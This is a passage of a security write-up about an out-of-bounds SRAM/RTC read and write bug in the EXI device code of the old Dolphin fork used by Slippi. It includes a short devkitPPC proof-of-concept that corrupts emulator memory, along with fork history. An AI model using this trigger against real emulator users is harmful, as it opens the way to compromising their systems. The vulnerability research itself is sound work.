&lt;p&gt;When an EXI DMA is started, Dolphin calls &lt;code&gt;IEXIDevice::DMAWrite&lt;&#x2F;code&gt; on the appropriate device.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt; IEXIDevice::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;DMAWrite&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; _uAddr&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; _uSize&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; _dbg_assert_(EXPANSIONINTERFACE, 0);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span&gt; (_uSize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;--&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u8 uByte &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; Memory::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;Read_U8&lt;&#x2F;span&gt;&lt;span&gt;(_uAddr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;        TransferByte&lt;&#x2F;span&gt;&lt;span&gt;(uByte);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;IEXIDevice::TransferByte&lt;&#x2F;code&gt; is a virtual function overridden by each device, which in this case is &lt;code&gt;CEXIIPL&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt; CEXIIPL::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;TransferByte&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; _uByte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; The first 4 bytes must be the address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; If we haven&amp;#39;t read it, do it now&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (m_uPosition &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        m_uAddress &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;lt;&amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        m_uAddress &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;|=&lt;&#x2F;span&gt;&lt;span&gt; _uByte;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        m_uRWOffset &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        _uByte &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; Check if the command is complete&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; (m_uPosition &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;            &#x2F;&#x2F; Get the time...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;            UpdateRTC&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;            &#x2F;&#x2F; ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; Actually read or write a byte&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        switch&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;CommandRegion&lt;&#x2F;span&gt;&lt;span&gt;())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        case&lt;&#x2F;span&gt;&lt;span&gt; REGION_RTC:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;IsWriteCommand&lt;&#x2F;span&gt;&lt;span&gt;())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                m_RTC&lt;&#x2F;span&gt;&lt;span&gt;[(m_uAddress &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x03&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; m_uRWOffset]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _uByte;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;            else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                _uByte &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; m_RTC&lt;&#x2F;span&gt;&lt;span&gt;[(m_uAddress &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x03&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; m_uRWOffset];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;            break&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        case&lt;&#x2F;span&gt;&lt;span&gt; REGION_SRAM:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;IsWriteCommand&lt;&#x2F;span&gt;&lt;span&gt;())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                g_SRAM&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;p_SRAM&lt;&#x2F;span&gt;&lt;span&gt;[(m_uAddress &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x3F&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; m_uRWOffset]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _uByte;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;            else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                _uByte &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; g_SRAM&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;p_SRAM&lt;&#x2F;span&gt;&lt;span&gt;[(m_uAddress &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x3F&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; m_uRWOffset];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;            break&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        m_uRWOffset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    m_uPosition&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;m_uRWOffset&lt;&#x2F;code&gt; is incremented for each byte accessed but is never checked against the bounds of &lt;code&gt;m_RTC&lt;&#x2F;code&gt; or &lt;code&gt;p_SRAM&lt;&#x2F;code&gt;, leading to a trivial out-of-bounds read and write primitive. To test this, I wrote a quick &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;wiibrew.org&#x2F;wiki&#x2F;DevkitPPC&quot;&gt;devkitPPC&lt;&#x2F;a&gt; program that writes a lot of garbage into SRAM.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;lt;string.h&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;lt;gccore.h&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Adapted from internal libogc code&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;static void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; __sram_write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;buffer&lt;&#x2F;span&gt;&lt;span&gt;, u32 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Lock&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0, EXI_DEVICE_1,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Select&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0, EXI_DEVICE_1, EXI_SPEED8MHZ);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u32 cmd &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xA0000100&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Imm&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;cmd,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt;, EXI_WRITE,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Sync&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Dma&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0, buffer, size, EXI_WRITE,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    static char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; dummy&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1024&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    memset&lt;&#x2F;span&gt;&lt;span&gt;(dummy,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x41&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(dummy));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    __sram_write&lt;&#x2F;span&gt;&lt;span&gt;(dummy,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(dummy));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;slippirce&#x2F;memcorrupt.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;A free bug that looks exploitable! Nice!&lt;&#x2F;p&gt;
&lt;p&gt;...Wait, that bug was patched two years ago. Why is this Dolphin vulnerable? To answer that, we need a short history lesson.&lt;&#x2F;p&gt;
&lt;p&gt;A long time ago, a developer named Tino created a fork of Dolphin called &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;forums.dolphin-emu.org&#x2F;Thread-unofficial-ishiiruka-dolphin-custom-version&quot;&gt;Ishiiruka&lt;&#x2F;a&gt;, which aimed to be a fork that maintained support and improved performance on older hardware but at the cost of accuracy and stability due to some of the hacky workarounds it used. It hasn&#x27;t been updated since around 2021 and seemed to diverge quite a bit from upstream even back then.&lt;&#x2F;p&gt;
&lt;p&gt;However, there was &lt;em&gt;another&lt;&#x2F;em&gt; fork of Dolphin called &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;FasterMelee&#x2F;Ishiiruka&quot;&gt;Faster Melee&lt;&#x2F;a&gt;, which, as the name implies, was a fork of Dolphin based on Ishiiruka that was specifically tailored for getting better performance out of Dolphin with its built-in Netplay code on Melee. As you might&#x27;ve guessed from the fact that Slippi&#x27;s Dolphin still says &quot;Faster Melee&quot; in its titlebar, this is what Slippi&#x27;s build was forked off of. According to the commit history, it seems like FM was last synced with Ishiiruka all the way back in July 2017.&lt;&#x2F;p&gt;
&lt;p&gt;If you think being based on an ancient version of Dolphin from almost a decade ago sounds like it would be really annoying for the developers, you&#x27;d be completely right as far as I can tell. There&#x27;s currently a &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;project-slippi&#x2F;dolphin&quot;&gt;work-in-progress port of Slippi to mainline Dolphin&lt;&#x2F;a&gt;, but it&#x27;s currently only considered an opt-in beta build. Also, Slippi uses two separate builds of Dolphin: one for actual gameplay and one for replay playback. The mainline Dolphin version currently only supports gameplay, so all replays are played back on Ishiiruka builds.&lt;&#x2F;p&gt;
&lt;p&gt;Anyway, back to figuring out how to exploit the bug. &lt;code&gt;p_SRAM&lt;&#x2F;code&gt; is just the raw byte array representation of the &lt;code&gt;SRAM&lt;&#x2F;code&gt; union and isn&#x27;t a pointer:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;union&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; SRAM&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u8 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;p_SRAM&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;  &#x2F;&#x2F; Stored configuration value from the system SRAM area&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u16 checksum;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; Holds the block checksum.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u16 checksum_inv;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; Holds the inverse block checksum&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u32 ead0;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;            &#x2F;&#x2F; Unknown attribute&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u32 ead1;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;            &#x2F;&#x2F; Unknown attribute&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u32 counter_bias;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; Bias value for the realtime clock&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        s8 display_offsetH;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;  &#x2F;&#x2F; Pixel offset for the VI&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u8 ntd;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;              &#x2F;&#x2F; Unknown attribute&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u8 lang;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;             &#x2F;&#x2F; Language of system&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
